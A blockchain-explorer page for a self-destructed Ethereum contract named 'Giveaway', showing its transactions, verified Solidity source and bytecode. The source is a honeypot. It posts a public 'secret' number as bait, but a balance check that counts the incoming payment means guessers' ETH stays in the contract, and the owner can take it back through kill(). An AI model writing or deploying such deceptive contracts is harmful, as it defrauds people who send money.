ETH Price: $2,973.66 (-1.44%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Kill108964132020-09-20 2:14:131951 days ago1600568053IN
0x9F54d912...f207cD719
0 ETH0.0008108460
Kill71313302019-01-26 23:16:232553 days ago1548544583IN
0x9F54d912...f207cD719
0 ETH0.000086534
Guess71313212019-01-26 23:13:012553 days ago1548544381IN
0x9F54d912...f207cD719
0 ETH0.000088294
Kill71313122019-01-26 23:09:272553 days ago1548544167IN
0x9F54d912...f207cD719
0 ETH0.000086534
Transfer52763912018-03-18 8:54:382867 days ago1521363278IN
0x9F54d912...f207cD719
0.08 ETH0.000021041

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
-108964132020-09-20 2:14:131951 days ago1600568053
0x9F54d912...f207cD719
0.08 ETH
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
Contract Self Destruct called at Txn Hash 0x878228a301ca14ad077b7ee4373a52bbdc5871720d361ae066b157e65817d959


Contract Source Code Verified (Exact Match)

Contract Name:
Giveaway

Compiler Version
v0.4.21+commit.dfe3193c

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-03-18
*/

pragma solidity ^0.4.21;
contract Giveaway {

    address private owner = msg.sender;
    uint public SecretNumber = 24;
   
    function() public payable {
    }
   
    function Guess(uint n) public payable {
        if(msg.value >= this.balance && n == SecretNumber && msg.value >= 0.07 ether) {
            // Previous Guesses makes the number easier to guess so you have to pay more
            msg.sender.transfer(this.balance + msg.value);
        }
    }
    
    function kill() public {
        require(msg.sender == owner);
	    selfdestruct(msg.sender);
	}
}

Contract Security Audit

Contract ABI

API
[{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"Guess","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"SecretNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

606060405260008054600160a060020a03191633600160a060020a03161790556018600155341561002f57600080fd5b6101aa8061003e6000396000f3006060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029

Deployed Bytecode

0x6060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029

Swarm Source

bzzr://5e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b1

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.